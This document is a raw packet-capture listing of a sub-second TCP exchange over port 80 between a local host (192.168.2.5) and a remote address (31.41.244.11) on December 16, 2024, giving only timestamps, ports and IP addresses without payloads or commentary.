Dec 16, 2024 09:01:42.476453066 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.476489067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.477535963 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.477633953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.477794886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.477843046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.478717089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.478837013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.478921890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.479990005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.480041981 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.480057001 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.480284929 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.481173038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.481271029 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.481343985 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.481343985 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.482381105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.482498884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.482620955 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.483599901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.483692884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.483716965 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.483750105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.484832048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.484891891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.484927893 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.484966993 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.486018896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.486103058 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.486125946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.486249924 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.487231016 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.487340927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.487351894 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.487518072 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.488454103 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.488563061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.488569975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.488626957 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.489671946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.489763021 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.489789963 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.489880085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.490900993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.491055965 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.491055965 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.491142035 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.492110014 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.492171049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.492209911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.492257118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.493333101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.493442059 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.493496895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.494524956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.494575977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.622919083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.622975111 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.622978926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.623030901 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.623464108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.623613119 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.623675108 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.624619961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.624680042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.624757051 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.624875069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.625883102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.625962019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.626043081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.626043081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.627043962 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.627105951 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.627146959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.627326965 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.628242970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.628341913 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.628365993 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.628407955 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.629417896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.629487991 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.629518032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.629630089 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.630647898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.630775928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.630834103 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.631088018 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.631844997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.631927013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.631956100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.632003069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.633064985 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.633142948 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.633171082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.633219004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.634221077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.634258032 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.634325027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.634414911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.635437012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.635593891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.635601044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.635724068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.636625051 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.636725903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.636729956 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.636766911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.637839079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.637902975 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.637984991 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.638057947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.639136076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.639339924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.639400959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.640299082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.640373945 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.640408993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.640455008 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.641462088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.641535044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.641571045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.641628027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.642680883 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.642754078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.642787933 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.642931938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.643835068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.643919945 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.643959045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.644017935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.645064116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.645140886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.645169973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.645278931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.646289110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.646349907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.646349907 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.646414042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.647444010 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.647547960 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.647556067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.647705078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.648699999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.648767948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.648776054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.648854017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.649853945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.649955988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.649970055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.650098085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.651117086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.651165962 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.651242018 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.651293039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.652332067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.652386904 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.652470112 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.652622938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.653510094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.653594017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.653609037 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.653732061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.654701948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.654777050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.654819012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.654942036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.655872107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.656001091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.656002998 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.656125069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.657085896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.657191992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.657201052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.657254934 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.658262968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.658332109 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.658370018 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.658503056 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.659482956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.659584999 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.659596920 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.659832954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.660675049 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.660845995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.660945892 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.661072969 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.661875010 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.661988020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.661993027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.662050962 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.663067102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.663140059 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.663167000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.663335085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.664285898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.664413929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.664468050 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.665509939 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.665555000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.665584087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.665684938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.666712046 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.666793108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.666793108 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.666836977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.667881012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.667978048 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.668006897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.668087959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.669080019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.669189930 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.669226885 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.669226885 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.670299053 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.670370102 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.670407057 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.670454979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.671534061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.671626091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.671636105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.671751976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.672672987 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.672751904 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.672777891 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.672828913 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.673897982 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.674010038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.674019098 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.674056053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.675110102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.675196886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.675214052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.675410032 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.676286936 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.676354885 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.676399946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.676481009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.677494049 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.677552938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.677629948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.677712917 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.678690910 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.678806067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.678821087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.678863049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.679893970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.679991961 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.679996014 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.680078983 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.681093931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.681174040 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.681207895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.681337118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.682303905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.682391882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.682492971 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.683491945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.683558941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.683619022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.683878899 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.684770107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.684901953 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.684993029 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.685143948 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.685842037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.686002016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.815047979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.815088987 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.815187931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.815188885 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.815664053 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.815751076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.815787077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.815954924 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.816848040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.817023993 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.817059994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.817123890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.818016052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.818070889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.818145037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.818203926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.819232941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.819272995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.819386959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.819444895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.820420027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.820466042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.820635080 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.820735931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.821652889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.821713924 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.821835041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.821928024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.823079109 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.823128939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.823163033 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.823240042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.824181080 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.824248075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.824278116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.824378967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.825207949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.825303078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.825323105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.825428963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.826397896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.826452017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.826474905 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.826534033 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.827646017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.827698946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.827822924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.827931881 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.828800917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.828876972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.828900099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.828958988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.829999924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.830089092 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.830117941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.830414057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.831368923 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.831440926 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.831454039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.831489086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.832448006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.832529068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.832556009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.832653999 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.833586931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.833698034 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.833750963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.834875107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.834954977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.834958076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.835015059 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.835992098 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.836071014 CET	80	49900	31.41.244.11	192.168.2.5
